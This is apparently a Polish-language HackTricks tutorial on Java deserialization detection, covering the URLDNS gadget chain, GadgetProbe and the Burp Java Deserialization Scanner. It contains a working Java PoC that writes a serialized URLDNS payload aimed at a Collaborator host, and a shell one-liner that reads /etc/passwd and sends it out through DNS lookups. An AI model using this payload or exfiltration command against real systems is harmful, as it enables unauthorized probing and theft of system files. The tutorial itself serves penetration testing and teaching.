11 KiB
Java Deserializacja DNS, GadgetProbe i Skaner Deserializacji Java
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Żądanie DNS podczas deserializacji
Klasa java.net.URL
implementuje Serializable
, co oznacza, że ta klasa może być serializowana.
public final class URL implements java.io.Serializable {
Ta klasa ma ciekawe zachowanie. Z dokumentacji wynika, że "Dwa hosty są uważane za równoważne, jeśli oba nazwy hostów mogą być przekształcone w te same adresy IP".
W związku z tym, za każdym razem, gdy obiekt URL wywołuje dowolną z funkcji equals
lub hashCode
, zostanie wysłane żądanie DNS w celu uzyskania adresu IP.
Wywołanie funkcji hashCode
z obiektu URL jest dość proste, wystarczy umieścić ten obiekt wewnątrz HashMap
, który zostanie zdeserializowany. Dzieje się tak, ponieważ na końcu funkcji readObject
z HashMap
jest wykonywany ten kod:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Będzie wykonywać putVal
z każdą wartością wewnątrz HashMap
. Jednak bardziej istotne jest wywołanie funkcji hash
z każdą wartością. Oto kod funkcji hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Jak można zauważyć, podczas deserializacji HashMap
, funkcja hash
zostanie wykonana dla każdego obiektu, a podczas wykonywania funkcji hash
zostanie wykonane .hashCode()
obiektu. Dlatego, jeśli deserializujemy HashMap
zawierającą obiekt URL, obiekt URL wykona metodę .hashCode()
.
Teraz spójrzmy na kod metody URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Jak widać, gdy obiekt URLObject
wykonuje .hashCode()
, jest to wywołanie hashCode(this)
. Kontynuację można zobaczyć w kodzie tej funkcji:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Można zauważyć, że wywoływana jest metoda getHostAddress
dla domeny, uruchamiając zapytanie DNS.
Dlatego ta klasa może być wykorzystana do uruchomienia zapytania DNS w celu demonstracji możliwości deserializacji, a nawet do wycieku informacji (można dołączyć jako subdomenę wynik wykonania polecenia).
Przykład kodu payloadu URLDNS
Możesz znaleźć kod payloadu URLDNS z ysoserial tutaj. Jednak dla ułatwienia zrozumienia, jak to zakodować, stworzyłem własne PoC (oparte na tym z ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Więcej informacji
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- W oryginalnym pomyśle ładunek kolekcji commons został zmieniony, aby wykonać zapytanie DNS, było to mniej niezawodne niż proponowana metoda, ale oto post: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Możesz pobrać GadgetProbe ze sklepu Burp Suite App (Extender).
GadgetProbe spróbuje ustalić, czy niektóre klasy Java istnieją w klasie Java serwera, dzięki czemu można dowiedzieć się, czy jest podatny na znane wykorzystanie.
Jak to działa
GadgetProbe użyje tego samego ładunku DNS z poprzedniej sekcji, ale przed wykonaniem zapytania DNS spróbuje zdeserializować dowolną klasę. Jeśli dowolna klasa istnieje, zapytanie DNS zostanie wysłane, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli żądanie DNS nie zostanie wysłane, oznacza to, że dowolna klasa nie została pomyślnie zdeserializowana, więc albo jej nie ma, albo nie jest serializowalna/wykorzystywalna.
Wewnątrz repozytorium GitHub, GadgetProbe ma kilka list słów z klasami Java do przetestowania.
Więcej informacji
Skaner deserializacji Java
Ten skaner można pobrać ze sklepu Burp App (Extender).
Rozszerzenie ma zdolności pasywne i aktywne.
Pasywne
Domyślnie sprawdza pasywnie wszystkie wysłane żądania i odpowiedzi, szukając magicznych bajtów serializacji Java i wyświetli ostrzeżenie o podatności, jeśli zostaną znalezione:
Aktywne
Testowanie ręczne
Możesz wybrać żądanie, kliknąć prawym przyciskiem myszy i Send request to DS - Manual Testing
.
Następnie, w zakładce Deserialization Scanner --> Manual testing tab możesz wybrać miejsce wstrzyknięcia. I uruchomić testowanie (Wybierz odpowiedni atak w zależności od użytego kodowania).
Nawet jeśli to jest nazywane "testowaniem ręcznym", jest to dość zautomatyzowane. Automatycznie sprawdzi, czy deserializacja jest podatna na dowolny ładunek ysoserial, sprawdzając biblioteki obecne na serwerze sieciowym i wyróżnia te podatne. Aby sprawdzić podatne biblioteki, można wybrać uruchomienie Javas Sleeps, sleeps za pomocą zużycia CPU lub używając DNS, o czym wcześniej wspomniano.
Wykorzystywanie
Po zidentyfikowaniu podatnej biblioteki można wysłać żądanie do zakładki Exploiting.
W tej zakładce musisz ponownie wybrać punkt wstrzyknięcia, wpisać podatną bibliotekę, dla której chcesz utworzyć ładunek, i polecenie. Następnie wystarczy nacisnąć odpowiedni przycisk Attack.
Informacje o eksfiltracji DNS deserializacji Java
Spraw, aby twój ładunek wykonał coś takiego jak:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Więcej informacji
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.